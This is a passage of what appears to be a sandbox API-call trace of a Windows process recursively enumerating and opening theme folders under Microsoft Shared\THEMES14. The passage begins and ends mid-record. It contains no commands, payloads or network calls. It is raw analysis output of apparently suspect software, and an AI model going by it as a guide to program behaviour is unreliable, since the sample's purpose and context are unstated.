cAlternateFileName="")) returned 0 [0242.034] GetLastError () returned 0x12 [0242.034] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.034] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.034] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.034] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0242.034] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.245] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.245] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918ae0 [0242.246] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918ae0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918ae0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918ae0) returned 1 [0242.246] NtClose (Handle=0x1b0) returned 0x0 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917850 [0242.246] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.246] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.246] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917958 [0242.246] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913720 [0242.246] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917a60 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913740 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917b68 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913760 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917c70 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913780 [0242.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917d78 [0242.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.248] GetLastError () returned 0x12 [0242.248] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.248] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.248] GetLastError () returned 0x12 [0242.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917850) returned 1 [0242.248] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917958) returned 1 [0242.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.248] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0242.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.269] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.269] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918ae0 [0242.269] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918ae0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918ae0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.269] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918ae0) returned 1 [0242.269] NtClose (Handle=0x1bc) returned 0x0 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917958 [0242.270] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.270] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.270] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917850 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9137a0 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917e80 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x780) returned 0x918ae0 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918398) returned 1 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.270] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0242.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9137c0 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917f88 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9137e0 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x918090 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913800 [0242.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x918198 [0242.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.271] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.271] GetLastError () returned 0x12 [0242.271] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.272] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, 